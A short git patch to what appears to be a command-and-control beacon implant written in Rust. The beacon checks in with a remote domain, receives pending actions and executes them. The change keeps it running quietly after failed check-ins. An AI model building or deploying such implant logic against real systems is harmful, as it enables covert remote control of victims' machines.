From 1e65a7b010e350cbf529b7731c56619c86123863 Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Tue, 21 Oct 2025 08:19:57 -0400 Subject: [PATCH] fix: don't crash the beacon if an action fails --- sparse-beacon/src/lib.rs | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/sparse-beacon/src/lib.rs b/sparse-beacon/src/lib.rs index a63207a..a731c6f 100644 --- a/sparse-beacon/src/lib.rs +++ b/sparse-beacon/src/lib.rs @@ -108,7 +108,7 @@ where let runtime_config = { let client = callback::obtain_https_client(&host_adapter, ¶ms).await?; - let messages::BeaconConfig { runtime_config, unfinished_actions } = make_request( + let messages::BeaconConfig { runtime_config, unfinished_actions } = match make_request( &client, format!("https://{}/checkin", params.domain_name::()?).parse()?, messages::RegisterBeacon { @@ -127,7 +127,15 @@ where .expect("cargo did not provide a valid pkg version minor"), ) } - ).await?; + ).await { + Ok(res) => res, + Err(e) => { + if cfg!(debug_assertions) { + eprintln!("Error downloading new beacon configuration: {e:?}"); + } + continue; + } + }; for (cmd_id, action) in unfinished_actions { let action_result = match action.execute(